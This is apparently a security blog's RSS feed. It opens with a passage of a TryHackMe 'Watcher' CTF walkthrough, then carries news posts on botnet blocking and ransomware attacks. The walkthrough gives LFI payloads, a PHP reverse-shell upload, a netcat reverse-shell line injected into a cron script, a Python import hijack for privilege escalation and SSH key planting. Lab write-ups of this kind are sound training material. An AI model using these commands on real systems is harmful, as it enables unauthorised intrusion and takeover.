|   2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 <span class="o">(</span>RSA<span class="o">)</span>
|   256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 <span class="o">(</span>ECDSA<span class="o">)</span>
|_  256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a <span class="o">(</span>ED25519<span class="o">)</span>
80/tcp open  http    Apache httpd 2.4.29 <span class="o">((</span>Ubuntu<span class="o">))</span>
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.29 <span class="o">(</span>Ubuntu<span class="o">)</span>
|_http-title: Corkplacemats
Service Info: OSs: Unix, Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
<span class="c"># Nmap done at Sun Mar 14 09:11:51 2021 -- 1 IP address (1 host up) scanned in 27.64 seconds</span>
</code></pre></div></div>

<p>The vulnerabilities and full scan did not bring anything more of interest.</p>

<p>The first opened port is for FTP. Anonymous login does not seems to be allowed, but lets try it anyway.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp target
Connected to target.
220 <span class="o">(</span>vsFTPd 3.0.3<span class="o">)</span>
Name <span class="o">(</span>target:ehogue<span class="o">)</span>: anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
</code></pre></div></div>

<p>No luck here, so lets look at the web site on port 80.</p>

<h2 id="web-site">Web Site</h2>

<p>Navigating to http://target/ gives us a site about cork placemats. A quick look at the request in Burp does not show anything interesting.</p>

<p>However, there is a robots.txt file that contains two entries.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt
</code></pre></div></div>

<p>Navigating to http://target/flag_1.txt give us our first flag. http://target/secret_file_do_not_read.txt is forbidden.</p>

<p>Now I start scanning site for hidden pages. I use GoBuster to scan web sites. I usually use two different lists to do so. I should probably build one list with only the unique values out of those two.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster <span class="nb">dir</span> <span class="nt">-e</span> <span class="nt">-u</span> http://target/ <span class="nt">-t30</span> <span class="nt">-w</span> /usr/share/dirb/wordlists/common.txt  | <span class="nb">tee </span>gobuster.txt
<span class="o">===============================================================</span>
Gobuster v3.1.0
by OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span> &amp; Christian Mehlmauer <span class="o">(</span>@firefart<span class="o">)</span>
<span class="o">===============================================================</span>
<span class="o">[</span>+] Url:                     http://target/
<span class="o">[</span>+] Method:                  GET
<span class="o">[</span>+] Threads:                 30
<span class="o">[</span>+] Wordlist:                /usr/share/dirb/wordlists/common.txt
<span class="o">[</span>+] Negative Status codes:   404
<span class="o">[</span>+] User Agent:              gobuster/3.1.0
<span class="o">[</span>+] Expanded:                <span class="nb">true</span>
<span class="o">[</span>+] Timeout:                 10s
<span class="o">===============================================================</span>
2021/03/14 13:09:21 Starting gobuster <span class="k">in </span>directory enumeration mode
<span class="o">===============================================================</span>
http://target/.hta                 <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
http://target/.htaccess            <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
http://target/.htpasswd            <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
http://target/css                  <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 298] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://target/css/]
http://target/images               <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 301] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://target/images/]
http://target/index.php            <span class="o">(</span>Status: 200<span class="o">)</span> <span class="o">[</span>Size: 4826]
http://target/robots.txt           <span class="o">(</span>Status: 200<span class="o">)</span> <span class="o">[</span>Size: 69]
http://target/server-status        <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 271]
<span class="o">===============================================================</span>
2021/03/14 13:10:00 Finished
<span class="o">===============================================================</span>
</code></pre></div></div>
<p>Nothing very interesting here.</p>

<p>While GoBuster was running, I started looking around the site. When I clicked on one of the post, it pointed to this url: http://target/post.php?post=striped.php . This looked like it could be used for a <a href="https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/">Local File Inclusion (LFI)</a> attack.</p>

<p>So I used it to try reading the secret file that I could not access earlier. I loaded http://target/post.php?post=secret_file_do_not_read.txt and it worked. The file contains the following message:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hi Mat,
The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files.
Will

 ----------
ftpuser:PASSWORD
</code></pre></div></div>
<p>We now have the credentials to the FTP server. It also hints that we will be able to write files in the FTP server, and where they will be saved.</p>

<p>First, lets make sure that the code is executed when included. I tried to include index.php to see if it would output the content, or execute it.</p>

<p>Load http://target/post.php?post=index.php, you will see the the index page loaded inside the post page.</p>

<p><img src="https://media.hackfest.ca/images/posts/2021/03/THMWalkthroughWatcher/LFI.webp" alt="LFI" title="LFI" /></p>

<p>Then, I tried to get the post.php source code to see if there where any filtering, or if I could use it to load any file.</p>

<p>Loading  http://target/post.php?post=php://filter/convert.base64-encode/resource=post.php gave me the PHP source code encoded in base64. I decoded it, and saw the there is no filtering. You can load any file from the server.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"col-8"</span><span class="nt">&gt;</span>
  <span class="cp">&lt;?php</span> <span class="k">include</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"post"</span><span class="p">];</span> <span class="cp">?&gt;</span>
<span class="nt">&lt;/div&gt;</span>
</code></pre></div></div>

<h2 id="getting-a-shell">Getting a Shell</h2>
<p>Now I knew I could use the FTP server to upload a file, then execute it on the server through the LFI vulnerability.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp target
Connected to target.
220 <span class="o">(</span>vsFTPd 3.0.3<span class="o">)</span>
Name <span class="o">(</span>target:ehogue<span class="o">)</span>: ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system <span class="nb">type </span>is UNIX.
Using binary mode to transfer files.
ftp&gt; <span class="nb">ls</span> <span class="nt">-la</span>
200 PORT <span class="nb">command </span>successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 <span class="nb">.</span>
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 ..
drwxr-xr-x    2 1001     1001         4096 Dec 03 03:30 files
<span class="nt">-rw-r--r--</span>    1 0        0              21 Dec 03 01:58 flag_2.txt
226 Directory send OK.
ftp&gt; get flag_2.txt
<span class="nb">local</span>: flag_2.txt remote: flag_2.txt
200 PORT <span class="nb">command </span>successful. Consider using PASV.
150 Opening BINARY mode data connection <span class="k">for </span>flag_2.txt <span class="o">(</span>21 bytes<span class="o">)</span><span class="nb">.</span>
226 Transfer complete.
21 bytes received <span class="k">in </span>0.00 secs <span class="o">(</span>84.0484 kB/s<span class="o">)</span>
</code></pre></div></div>

<p>We found the second flag in the FTP server. We also see that the files folder is writable, so we can push our reverse shell there.</p>

<p>I use the PHP reverse shell that is available in Kali at <code class="language-plaintext highlighter-rouge">/usr/share/webshells/php/php-reverse-shell.php</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftp&gt; <span class="nb">cd </span>files 
250 Directory successfully changed.
ftp&gt; put php-reverse-shell.php
<span class="nb">local</span>: php-reverse-shell.php remote: php-reverse-shell.php
200 PORT <span class="nb">command </span>successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent <span class="k">in </span>0.00 secs <span class="o">(</span>5.8002 MB/s<span class="o">)</span>
</code></pre></div></div>

<p>According to the message found earlier, that file should now be at <code class="language-plaintext highlighter-rouge">/home/ftpuser/ftp/filesphp-reverse-shell.php</code>.</p>

<p>I started a Netcat listener in my Kali VM (<code class="language-plaintext highlighter-rouge">nc -lvnp 4444</code>). Then loaded http://target/post.php?post=/home/ftpuser/ftp/files/php-reverse-shell.php in a browser. I got a connection on my listener.</p>

<p>I stabilized my shell with the following commands:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-c</span> <span class="s1">'import pty; pty.spawn("/bin/bash")'</span>
<span class="nb">export </span><span class="nv">TERM</span><span class="o">=</span>xterm

<span class="c"># Hit Ctrl-z to go background the shell</span>
<span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span><span class="nb">fg</span>
</code></pre></div></div>

<p>From there, I found a third flag in the web site files.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@watcher:/<span class="nv">$ </span><span class="nb">whoami
</span>www-data
www-data@watcher:/<span class="nv">$ </span><span class="nb">ls</span> /var/www/html/
bunch.php   images               post.php    secret_file_do_not_read.txt
css         index.php            robots.txt  striped.php
flag_1.txt  more_secrets_a9f10a  round.php
www-data@watcher:/<span class="nv">$ </span><span class="nb">ls</span> /var/www/html/more_secrets_a9f10a/           
flag_3.txt
www-data@watcher:/<span class="nv">$ </span><span class="nb">cat</span> /var/www/html/more_secrets_a9f10a/flag_3.txt 
FLAG<span class="o">{</span>SOME FLAG<span class="o">}</span>
</code></pre></div></div>

<h2 id="escalate-to-toby">Escalate to Toby</h2>
<p>Now that we have a shell, we need to try to escalate our privileges.</p>

<p>First thing to do is check is the current user can run sudo. www-data should not, but it’s a good idea to check anyway.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>
Matching Defaults entries <span class="k">for </span>www-data on watcher:
    env_reset, mail_badpass,
    <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin<span class="se">\:</span>/snap/bin

User www-data may run the following commands on watcher:
    <span class="o">(</span>toby<span class="o">)</span> NOPASSWD: ALL
</code></pre></div></div>

<p>www-data is allowed to run any command as toby.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-utoby</span> bash <span class="nt">-p</span>
toby@watcher:/<span class="nv">$ </span><span class="nb">whoami
</span>toby
toby@watcher:/<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /home/toby/
total 12
<span class="nt">-rw-------</span> 1 toby toby   21 Dec  3 01:58 flag_4.txt
drwxrwxr-x 2 toby toby 4096 Dec  3 03:31 <span class="nb">jobs</span>
<span class="nt">-rw-r--r--</span> 1 mat  mat    89 Dec 12 15:25 note.txt
</code></pre></div></div>

<p>We have our 4th flag.</p>

<h2 id="escalate-to-mat">Escalate to Mat</h2>

<p>We have to find a way to elevate our privileges again. <code class="language-plaintext highlighter-rouge">sudo -l</code> require a password, so we need to find something else.</p>

<p>There is a note.txt file in the home folder, lets look at it.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat note.txt 
Hi Toby,

I've got the cron jobs set up now so don't worry about getting that done.

Mat
</code></pre></div></div>

<p>It looks like there is a cron job running, probably as Mat that we might be able to use. There is a jobs folder, and it contains a sh file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-l</span> <span class="nb">jobs</span>/
total 4
<span class="nt">-rwxr-xr-x</span> 1 toby toby 46 Dec  3 03:31 cow.sh
toby@watcher:~<span class="nv">$ </span><span class="nb">cat jobs</span>/cow.sh 
<span class="c">#!/bin/bash</span>
<span class="nb">cp</span> /home/mat/cow.jpg /tmp/cow.jpg
</code></pre></div></div>
<p>This might be the cron from the message. And we can write to it. So I modified to add a reverse shell connection, started another Netcat listener and waited for a connection.</p>

<p>Add this to jobs/cow.sh</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkfifo</span> /tmp/kirxhbg<span class="p">;</span> nc 10.13.3.36 4445 0&lt;/tmp/kirxhbg | /bin/sh <span class="o">&gt;</span>/tmp/kirxhbg 2&gt;&amp;1<span class="p">;</span> <span class="nb">rm</span> /tmp/kirxhbg
</code></pre></div></div>

<p>The next time the cron runs, you will get a new connection.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lvnp</span> 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.157.89 55670
<span class="nb">whoami
</span>mat
<span class="nb">ls</span> /home/mat
cow.jpg
flag_5.txt
note.txt
scripts
</code></pre></div></div>

<p>That flag #5.</p>

<h2 id="escalate-to-will">Escalate to Will</h2>

<p>That shell was pretty unstable so I copied my ssh public key to the server and reconnected through ssh.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> .ssh
<span class="nb">echo</span> <span class="s2">"My Public Key"</span> <span class="o">&gt;</span> .ssh/authorized_keys
<span class="nb">chmod </span>700 .ssh
<span class="nb">chmod </span>600 .ssh/authorized_keys
</code></pre></div></div>

<p>Once connected, there is another note.txt file in the home folder.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat note.txt 
Hi Mat,

I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.

Will
</code></pre></div></div>

<p>Sure enough, we can run a python script as will without a password.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>
Matching Defaults entries <span class="k">for </span>mat on watcher:
    env_reset, mail_badpass, <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin<span class="se">\:</span>/snap/bin

User mat may run the following commands on watcher:
    <span class="o">(</span>will<span class="o">)</span> NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py <span class="k">*</span>
</code></pre></div></div>

<p>We are not allowed to modify the script, but lets see what it does.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mat@watcher:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> scripts/will_script.py
<span class="nt">-rw-r--r--</span> 1 will will 208 Dec  3 01:58 scripts/will_script.py

mat@watcher:~<span class="nv">$ </span><span class="nb">cat </span>scripts/will_script.py 
import os
import sys
from cmd import get_command

cmd <span class="o">=</span> get_command<span class="o">(</span>sys.argv[1]<span class="o">)</span>

whitelist <span class="o">=</span> <span class="o">[</span><span class="s2">"ls -lah"</span>, <span class="s2">"id"</span>, <span class="s2">"cat /etc/passwd"</span><span class="o">]</span>

<span class="k">if </span>cmd not <span class="k">in </span>whitelist:
        print<span class="o">(</span><span class="s2">"Invalid command!"</span><span class="o">)</span>
        <span class="nb">exit</span><span class="o">()</span>

os.system<span class="o">(</span>cmd<span class="o">)</span>

</code></pre></div></div>

<p>The script reads a command from the command line, then sends it to <code class="language-plaintext highlighter-rouge">get_command</code> and execute it if it’s one of the three allowed commands.</p>

<p>The interesting part is <code class="language-plaintext highlighter-rouge">get_command</code>, it’s imported from cmd.py which is in the same folder as the script.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mat@watcher:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span> scripts/cmd.py 
<span class="nt">-rw-r--r--</span> 1 mat mat 133 Dec  3 03:31 scripts/cmd.py
mat@watcher:~<span class="nv">$ </span><span class="nb">cat </span>scripts/cmd.py
def get_command<span class="o">(</span>num<span class="o">)</span>:
        <span class="k">if</span><span class="o">(</span>num <span class="o">==</span> <span class="s2">"1"</span><span class="o">)</span>:
                <span class="k">return</span> <span class="s2">"ls -lah"</span>
        <span class="k">if</span><span class="o">(</span>num <span class="o">==</span> <span class="s2">"2"</span><span class="o">)</span>:
                <span class="k">return</span> <span class="s2">"id"</span>
        <span class="k">if</span><span class="o">(</span>num <span class="o">==</span> <span class="s2">"3"</span><span class="o">)</span>:
                <span class="k">return</span> <span class="s2">"cat /etc/passwd"</span>
</code></pre></div></div>

<p>We can write to this file. So we can modify it to start a new bash shell as Will. We need to add an import of os. Then add the following at the beginning of the <code class="language-plaintext highlighter-rouge">get_command</code> function.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="s">'/bin/bash -p'</span><span class="p">)</span>
</code></pre></div></div>

<p>After that, we can run the python script as will and get a shell.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mat@watcher:~<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-u</span> will /usr/bin/python3 /home/mat/scripts/will_script.py 1
will@watcher:~<span class="nv">$ </span><span class="nb">whoami
</span>will
will@watcher:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /home/will/
total 4
<span class="nt">-rw-------</span> 1 will will 41 Dec  3 01:58 flag_6.txt
</code></pre></div></div>

<p>We have flag 6.</p>

<h2 id="escalate-to-root">Escalate to root</h2>
<p>For this step, there are no note.txt file to give us a hint. Running <code class="language-plaintext highlighter-rouge">sudo -l</code> requires a password, so no luck there either.</p>

<p>I checked for the groups of the user, and they are part of the adm group. That looked interesting.</p>

<p>I searched for files that belongs to that group. And found a backups folder with one file in it: key.b64.</p>

<p>I decoded the file, and it contained a ssh private key.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cat</span> /opt/backups/key.b64 | <span class="nb">base64</span> <span class="nt">-d</span>
<span class="nt">-----BEGIN</span> RSA PRIVATE KEY-----
...
4APxI1DxU+a2xXXf02dsQH0H5AhNCiTBD7I5YRsM1bOEqjFdZgv6SA<span class="o">==</span>
<span class="nt">-----END</span> RSA PRIVATE KEY-----

</code></pre></div></div>

<p>I took that key, copied it in a file on my machine and change its permissions to 600. Then used it to connect back to the server as root.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh root@target <span class="nt">-i</span> root_id_rsa 
Welcome to Ubuntu 18.04.5 LTS <span class="o">(</span>GNU/Linux 4.15.0-128-generic x86_64<span class="o">)</span>

root@watcher:~# <span class="nb">ls</span> <span class="nt">-l</span> 
total 4
<span class="nt">-rw-r--r--</span> 1 root root 31 Dec  3 02:26 flag_7.txt

</code></pre></div></div>

<p>That was our last flag.</p>

<p>This is a fun box to root. With many steps. I’m not sure it should be classified as medium difficulty. All the steps where pretty easy to do. Especially with the note.txt files giving huge hints.</p>

<p>Text also published on : <a href="https://erichogue.ca/2021/03/TryHackMe-Walkthrough-Watcher/">https://erichogue.ca/2021/03/TryHackMe-Walkthrough-Watcher/</a></p>

]]></content:encoded>
    </item>
    <item>
      <title>Blocking zombies is not easy</title>
      <link>https://media.hackfest.ca/en/blog/crtc-botnet-blocking</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/crtc-botnet-blocking</guid>
      <pubDate>Thu, 11 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Policy &amp; regulation</category>
      <category>CRTC</category>
      <category>botnets</category>
      <description>Until March 15, the CRTC is holding a call for comments on its plan to block botnet traffic. It recommends using measures that “strike a balance between effectiveness and ease of implementation” without imposing additional costs on subscribers. An overview of the methods used by botnet operators suggests this will be anything but easy.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/crtc-botnet.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/crtc-botnet.webp" alt="" /></p>

<p>Is your smart fridge a traitor? Could it be that it no longer just texts you when you run out of milk, but has been recruited into a zombie network (botnet)? The CRTC (Canadian Radio-television and Telecommunications Commission) plans to block botnet traffic by applying measures that “strike a balance between effectiveness and ease of implementation” without imposing additional costs on subscribers. An overview of the methods used by operators shows this will be anything but easy.</p>

<p>The federal body responsible for regulating telecommunications proposes giving Internet service providers (ISPs) the mandate to filter botnet traffic. It is in this context that, until March 15, it is holding <a href="https://crtc.gc.ca/fra/archive/2021/2021-9.htm">a call for comments</a>. This blocking is meant to prevent communication between the infected devices that make up the botnet and their command and control server (C2 server). This filtering could take several forms. The CRTC’s call mentions “domain-based blocking, Internet Protocol (IP)-based blocking, and protocol-based blocking.”</p>

<p>The domain name is the name of the website we type into a browser’s address bar, such as “hackfest.ca,” for example. This domain name is then translated into an IP address by domain name resolvers (DNS).</p>

<p>“Domain-based blocking” involves creating and continuously updating a list of domain names to block. “Internet Protocol (IP)-based blocking” amounts to creating a similar list, but for IP addresses. To prevent abuse, the CRTC suggests that “an independent party specializing in cybersecurity” be responsible for the framework. That party would be able to approve additions to these lists.</p>

<h3 id="changing-addresses-to-avoid-detection">Changing addresses to avoid detection</h3>

<p>The obfuscation techniques used by botnet operators make applying these techniques extremely difficult. Indeed, as described in a review of the scientific literature published in 2017 <a href="https://www.mdpi.com/1999-5903/9/4/55">(Botnet detection technology based on DNS, Xingguo Li et al., 2017)</a>, botnets use a method called “domain flux” to thwart detection attempts. This method allows botnets to constantly change the names of their C2 servers. Algorithms are used to generate multiple domain names pseudo-randomly. According to the authors of this article, keeping the list of these domains up to date would require an enormous amount of resources.</p>

<p>We run into the same problem when trying to block IP addresses. The “fast flux” technique is used to assign multiple IP addresses to the same domain name. In a variant called “double flux,” the zombies do not communicate directly with the C2 server, but with an intermediate layer of devices acting as relays. This configuration provides more resilience by isolating the core of the botnet.</p>

<h3 id="the-risk-of-false-positives">The risk of false positives</h3>

<p>Other factors increase what are known as “false positives” (the risk of blocking a domain name or IP address that is not malicious).</p>

<p>There are legitimate reasons to use botnet networks. These are not made up of devices infected without their owners’ knowledge, but they use a similar architecture. They are used for crawling the web (“web scraping”), by penetration testing teams (“red team”) and for other automation processes.</p>

<p><a href="https://www.fireeye.com/blog/threat-research/2010/09/chasing-cnc-servers-part-2.html">An article by the firm Fireeye</a> sums up these difficulties well.</p>

<ul>
  <li>Botnet developers use legitimate websites to host their code. It may be that a single document on such a site is used by the botnet for criminal purposes. Blocking the domain will not only block the zombies, but also legitimate access to the infected website.</li>
  <li>Operators use platforms such as Twitter, Amazon Cloud Services and other public hosting services. Blocking these services entirely is inconceivable.</li>
  <li>IP addresses, once abandoned by botnet operators, are used by legitimate sources that end up on blocklists.</li>
  <li>The Fireeye article also mentions the use of P2P (peer-to-peer) protocols. These botnets do not use C2 servers, rendering mechanisms for blocking them obsolete.</li>
</ul>

<p>Faced with the botnet threat, the CRTC has expressed its desire to find a solution that is easy, effective and does not impose additional costs on Internet subscribers. An overview of the technologies used by botnet operators seems to indicate that a solution to this problem will be anything but easy.</p>

<p>photo credit: <a href="https://www.flickr.com/photos/melissawarhol/">Melissa Mathies</a> - <a href="https://creativecommons.org/licenses/by/2.0/">CC license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>A company specializing in geomatics becomes a ransomware target</title>
      <link>https://media.hackfest.ca/en/blog/geomatics-company-ransomware-target</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/geomatics-company-ransomware-target</guid>
      <pubDate>Tue, 09 Mar 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>Avaddon</category>
      <description>Brossard-based company Consortech was the target of a cyberattack in early March. They quickly recovered their data. However, they had to face the threat of seeing it released publicly. The disappearance of information about Consortech from the hackers’ site suggests that they got what they wanted.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/consortech-avaddon.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/consortech-avaddon.webp" alt="" /></p>

<p>Brossard-based company Consortech was the target of a cyberattack in early March. Despite the deployment of ransomware, they quickly recovered their data. However, they had to face the threat of seeing it released publicly. The subsequent disappearance of information about Consortech from the hackers’ site suggests that they got what they wanted.</p>

<p>Founded in 1989, Consortech specializes in getting value out of geospatial data. The company implements solutions for processing geographic data and automating the related processes. Its clients include several municipalities.</p>

<p>Avaddon, the ransomware group responsible for this attack, uses the “double extortion” method to increase pressure on its victims. In addition to encrypting the data to make it inaccessible, the hackers threaten to publish it if a ransom is not paid. A sample was posted on the Avaddon group’s site. It included contacts’ names, email addresses and phone numbers.</p>

<p>Contacted on March 8, Mr. Guillaume Genest, partner and general manager at Consortech, confirms that ransomware paralyzed their systems. The shutdown was short-lived, because the company had “healthy backups.” They were able to get back to work quickly. Mr. Genest confirms that the criminals demanded a ransom, without specifying the amount, and that he did not pay it. According to him, it is not out of the question that the insurer will decide to pay after completing a risk analysis.</p>

<p>Mr. Genest cannot say when the intrusion took place. The method used by the criminals to access their systems is not yet known. “We sent a notice to all of our clients to inform them of the situation and the data leak.” The situation is in the hands of a cybersecurity firm, and no comment can be made on the extent of the leak until the results of the ongoing investigation are in.</p>

<p>The day after our conversation, the company’s name and the page that hosted the data samples were no longer on the “Avaddon info” site. This disappearance suggests that the company, or its insurer, decided to pay the ransom. We tried to contact Mr. Genest by email to confirm the payment, but had not yet received a reply at the time this article was published.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Montmagny recovers from a NetWalker group attack</title>
      <link>https://media.hackfest.ca/en/blog/montmagny-recovers-netwalker-attack</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/montmagny-recovers-netwalker-attack</guid>
      <pubDate>Sun, 21 Feb 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>NetWalker</category>
      <category>municipalities</category>
      <description>The recently dismantled NetWalker ransomware platform was responsible for the cyberattack that paralyzed the servers of the City of Montmagny last January.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/netwalker.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/netwalker.webp" alt="" /></p>

<p>The recently dismantled NetWalker ransomware platform was responsible for the cyberattack that paralyzed the servers of the City of Montmagny last January.</p>

<p>It was early in the morning of January 17, while trying to handle snow removal operations, that employees noticed the city’s computers were no longer responding. Criminals associated with the NetWalker group had encrypted their data and were demanding a ransom to recover it.</p>

<p>The outage affected the telephone and computer systems of the city, the library and the Société de développement économique de Montmagny. The use of externally hosted services and redundancies allowed the controllers of the water treatment management system and the emergency telephone system to remain operational.</p>

<h3 id="data-recovered-without-a-ransom">Data recovered without a ransom</h3>

<p>Reached by phone, Mr. Félix Michaud, Director General of the City of Montmagny, says the city has recovered the stolen data. “A new secure architecture” will be up and running in a few days. “We were lucky in our misfortune,” since the authorities dismantled NetWalker ten days after this attack.</p>

<p>The data systems will be restored without loss and without any ransom being paid. Mr. Michaud cannot say how the data was recovered, because the experts “don’t reveal the secret ingredients of their recipes,” but it does not appear that the hackers made copies. The experts are keeping watch to see whether this data resurfaces.</p>

<h3 id="netwalker-a-turnkey-service">NetWalker, a turnkey service</h3>

<p>Netwalker was a platform that allowed “affiliates” to rent its services to carry out ransomware attacks. The affiliate finds vulnerable computer systems and deploys the software maintained by the platform’s “developers.” This group had adopted the “double extortion” strategy. In addition to encrypting the data, the group would publish a sample of it and threaten to make everything public in order to force its victims to pay the ransom. The profits are then shared between the affiliate and the developers.</p>

<p>On January 27, the United States Department of Justice <a href="https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware" target="_blank">announced the arrest</a> of a 33-year-old man living in Gatineau, Sébastien Vachon-Desjardins, in connection with the dismantling of the NetWalker network. According to an article <a href="https://blog.chainalysis.com/reports/netwalker-ransomware-disruption-arrest" target="_blank">published by the firm chainalysis</a>, he is allegedly responsible for 91 attacks since April 2020. The same week, Bulgarian authorities seized a server hosting a “dark web” site used to communicate with victims and give them payment instructions.</p>

<p>Montmagny’s IT services will be restored within a few days. Mr. Michaud hopes that talking about their experience will help raise awareness among other organizations and businesses of the risks posed by this type of attack. He points out that the city managed to keep providing the necessary services thanks to the staff’s creativity, and that “in adversity, it helps forge closer ties between team members.”</p>
]]></content:encoded>
    </item>
    <item>
      <title>Obligations following a security breach</title>
      <link>https://media.hackfest.ca/en/blog/obligations-after-security-breach</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/obligations-after-security-breach</guid>
      <pubDate>Sat, 20 Feb 2021 10:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Policy &amp; regulation</category>
      <category>open letter</category>
      <category>breaches</category>
      <category>CAI</category>
      <description>Quebec is on its way to becoming a champion of security breaches. Many companies and organizations, such as Promutuel, the STM, the Ordre des Ingénieurs du Québec, HelpOX and many others</description>
      <enclosure url="https://media.hackfest.ca/images/posts/breche.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/breche.webp" alt="" /></p>

<ul>
  <li><strong>Addressed to</strong>: Commission d’accès à l’information du Québec (Quebec’s access to information commission) and of Canada</li>
  <li><strong>By</strong>: Hackfest Communication and its participants:
    <ul>
      <li>Sam Harper</li>
      <li>Coralie Grozner</li>
      <li>Eric Hogue</li>
    </ul>
  </li>
</ul>

